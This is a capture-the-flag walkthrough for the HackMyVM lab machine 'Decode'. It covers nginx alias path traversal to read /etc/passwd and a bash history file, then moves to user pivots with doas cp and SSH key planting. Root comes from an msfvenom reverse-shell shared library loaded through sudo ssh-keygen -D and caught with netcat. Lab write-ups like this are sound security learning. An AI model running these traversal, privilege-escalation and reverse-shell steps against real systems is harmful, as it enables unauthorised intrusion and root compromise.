“Decode” is an easy machine from HackMyVM by the user avijneyam. This machine requires some common sense to gather information. The enumeration is fairly easy. The enumeration starts by looking at the robots.txt file. We have some hints there about the next vulnerability. Then, we have to find a file that contains the password of one of the users. “Decode from HackMyVM – Full Walkthrough”
Step 1: Find the IP address
Firstly, we have to identify the IP address of the target machine using the arp scanning mechanism. For this, I use fping.
❯ fping -aqg 10.0.0.0/24 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4 10.0.0.150
The IP address of the target is 10.0.0.150.
Step 2: Scan services of the target
Next, we have to scan the services available to the network using nmap.
❯ nmap -T4 -sC -sV -p- -oN nmap.log 10.0.0.150 Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 09:28 +0545 Nmap scan report for 10.0.0.150 Host is up (0.00076s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA) | 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA) |_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519) 80/tcp open http nginx 1.18.0 | http-robots.txt: 1 disallowed entry |_/encode/ |_http-title: Welcome to nginx! |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the nmap scan results, we can see open ports 80 and 22. We also see an entry /encode from the robots.txt file.
Step 3: Enumerate the webserver
Let’s start by looking at the robots.txt file.
❯ curl http://10.0.0.150/robots.txt User-agent: decode Disallow: /encode/ User-agent: * Allow: / Allow: /decode Allow: ../ Allow: /index Allow: .shtml Allow: /lfi../ Allow: /etc/ Allow: passwd Allow: /usr/ Allow: share Allow: /var/www/html/ Allow: /cgi-bin/ Allow: decode.sh
Here, we got a hint about the files that we might want to look into. Definitely, it gives us an idea about the vulnerability we are looking for. Since this is an Nginx server, “lfi../” refers to the “alias” misconfiguration. This could lead to directory traversal (file path traversal).
From the robots.txt file, we get to see a path “decode”. Further reconnaissance shows the misconfiguration lies here.
❯ curl -I http://10.0.0.150/decode HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Sat, 30 Apr 2022 13:16:27 GMT Content-Type: text/html Location: http://10.0.0.150/decode/ Connection: keep-alive
If you see the response header “Location”, it adds a trailing slash at the end of our request. Now, let’s check what it does if we put a “..”, after it.
❯ curl -I http://10.0.0.150/decode.. HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Sat, 30 Apr 2022 13:27:51 GMT Content-Type: text/html Location: http://10.0.0.150/decode../ Connection: keep-alive
Here, it also adds the trailing slash. So, if the path /decode points to something like, /var/www/alias/, then, it would point to /var/www/alias/../. This is the vulnerability that we are looking for.
However, how did I find that the path “/decode” has an alias?
For this, we have another hint “cgi-bin” and “decode.sh”. The directory “cgi-bin”, present on “/usr/lib/cgi-bin” on the Debian Linux distro, contains the scripts that can be run by the server.
❯ curl http://10.0.0.150/cgi-bin/decode.sh DATE: Sat 30 Apr 2022 09:32:46 AM EDT PWD: /var/www/html/ CMD: ls -la total 24 drwxr-xr-x 2 www-data www-data 4096 Apr 15 14:24 . drwxr-xr-x 3 root root 4096 Apr 11 14:30 .. -rw-r--r-- 1 root root 240 Apr 15 14:24 1 -rw-r--r-- 1 root root 22 Apr 14 05:14 file.php -rw-r--r-- 1 root root 612 Apr 13 14:01 index.html -rw-r--r-- 1 root root 240 Apr 15 14:24 robots.txt
As we can see above, we only have four files inside the default server location for hosting. However, our Nginx server responded for the /decode path. This definitely shows either the path is aliased or reverse proxied.
Step 3: Perform directory traversal
When I visited the path, I got a forbidden error.
❯ curl http://10.0.0.150/decode../ <html> <head><title>403 Forbidden</title></head> <body> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.18.0</center> </body> </html>
This gave me no choice but to perform directory bruteforcing.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.0.150/decode../ -q /bin (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../bin/] /boot (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../boot/] /dev (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../dev/] /etc (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../etc/] /home (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../home/] /lib (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../lib/] /lost+found (Status: 403) [Size: 153] /media (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../media/] /opt (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../opt/] /proc (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../proc/] /root (Status: 403) [Size: 153] /run (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../run/] /sbin (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../sbin/] /srv (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../srv/] /sys (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../sys/] /tmp (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../tmp/] /var (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../var/] /usr (Status: 301) [Size: 169] [--> http://10.0.0.150/decode../usr/]
From this, we are safe to say that we reach to root directory one level above the /decode path.
Step 4: Enumerate different files
The use of directory traversal is that it allows us to look for different files. First of all, let’s check the passwd file as indicated by the author in the robots.txt file.
❯ curl http://10.0.0.150/decode../etc/passwd # redacted ... steve:$y$j9T$gbohHcbFkUEmW0d3ZeUx40$Xa/DJJdFujIezo5lg9PDmswZH32cG6kAWP.crcqrqo/:1001:1001::/usr/share:/bin/bash decoder:x:1002:1002::/home/decoder:/usr/sbin/nologin ajneya:x:1003:1003::/home/ajneya:/bin/bash
Here, we can observe that there is a password for the user “steve”. Likewise, there are other two users as well. Interestingly, the home directory of the user “steve” is “/usr/share”. We can also see this in our robots.txt file.
I tried bruteforcing the password for the hash using john the ripper, but I had no luck. Next, I checked for the bash history file of the user “steve”.
❯ curl http://10.0.0.150/decode../usr/share/.bash_history rm -rf /usr/share/ssl-cert/decode.csr
It gave us a CSR file “Certificate Signing Report” used in SSL certificates. With the same method, I checked the file and decoded it using an online tool. This gave me the password of the user steve. I am going to skip that step here as it is pretty straightforward.
Step 5: Enumerate to get another user
Using the password, we can log into the user steve. After this, we can check the sudo permissions.
steve@decode:~$ sudo -l Matching Defaults entries for steve on decode: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User steve may run the following commands on decode: (decoder) NOPASSWD: /usr/bin/openssl enc *, /usr/bin/tee
Although the user can read/write the files whose owner is the user decoder, it’s of no use. If we notice, there isn’t a home directory for the user decoder. Nevertheless, there is another directory /opt/decode where I tried to get some files. I couldn’t find anything using this method.
Reference for the above: https://gtfobins.github.io/gtfobins/openssl/
However, when I checked for SUID binaries, I found “doas” in the list.
steve@decode:~$ find / -perm -u=s 2>/dev/null /usr/bin/gpasswd /usr/bin/sudo /usr/bin/passwd /usr/bin/umount /usr/bin/chsh /usr/bin/su /usr/bin/chfn /usr/bin/newgrp /usr/bin/doas /usr/bin/mount /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/doas is a binary that allows us to execute commands on behalf of another user. This binary also has a configuration that stores information about the commands that a user can perform.
steve@decode:~$ cat /etc/doas.conf permit nopass steve as ajneya cmd cp
The configuration is also simple. We can see that the user can use the command “cp” on behalf of the user “ajneya”.
Step 6: Switch to the user ajneya
When we check the home directory of ajneya, we won’t find a “.ssh” directory inside of it. To get access, we can copy our SSH public key into a directory .ssh as a file name “authorized_keys”. Then, we can give open permissions to the directory so that the user ajneya can copy this to his home directory.
I am skipping the part where I copied my public key to the .ssh directory in the target.
steve@decode:/tmp$ chmod 777 -R .ssh/ steve@decode:/tmp$ doas -u ajneya cp -r .ssh/ /home/ajneya/
This way, we manually authorized ourselves to log in using our private key.
❯ ssh email@example.com Linux decode 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Apr 30 10:55:35 2022 from 10.0.0.4 ajneya@decode:~$ id uid=1003(ajneya) gid=1003(ajneya) groups=1003(ajneya) ajneya@decode:~$
Step 7: Root privilege escalation
For the root privilege escalation part, I checked the sudo permissions. I found out that the user was able to execute ssh-keygen as root.
ajneya@decode:~$ sudo -l Matching Defaults entries for ajneya on decode: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User ajneya may run the following commands on decode: (root) NOPASSWD: /usr/bin/ssh-keygen * /opt/*
However, we have a format to use the command. This binary is also present on the gtfobins website.
To exploit this, we need to create a shared library. We can do that using msfvenom on our attacking machine. This will generate reverse shellcode. I will be listening on port 9001 as usual.
❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.4 LPORT=9001 -o lib.so -f elf-so [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 74 bytes Final size of elf-so file: 476 bytes Saved as: lib.so
Next, we have to upload this to the target machine.
❯ scp lib.so firstname.lastname@example.org:/tmp lib.so 100% 476 416.9KB/s 00:00
However, for our exploit to work, this file should be in the “/opt/*” directory. As we know, we don’t have permission to put our files there.
Nevertheless, the previous user steve was able to write on “/opt/decode” directory using sudo permissions. So, let’s log in as the user steve.
steve@decode:~$ cat /tmp/lib.so | sudo -u decoder tee /opt/decode/lib.so ELF>�@�@8@�&000``00�� ��� j)X�j_j^H�H�#) QH��jZj*Xj^H��j!Xu�j;X�H�/bin/shSH��RWH��
Before executing the exploit, we have to start a netcat listener on our machine.
❯ nc -nlvp 9001 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001
Finally, from the shell of ajneya, we can execute the exploit.
ajneya@decode:~$ sudo ssh-keygen -D /opt/decode/lib.so
We get the reverse shell by this.
❯ nc -nlvp 9001 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.0.0.150. Ncat: Connection from 10.0.0.150:48326. id uid=0(root) gid=0(root) groups=0(root)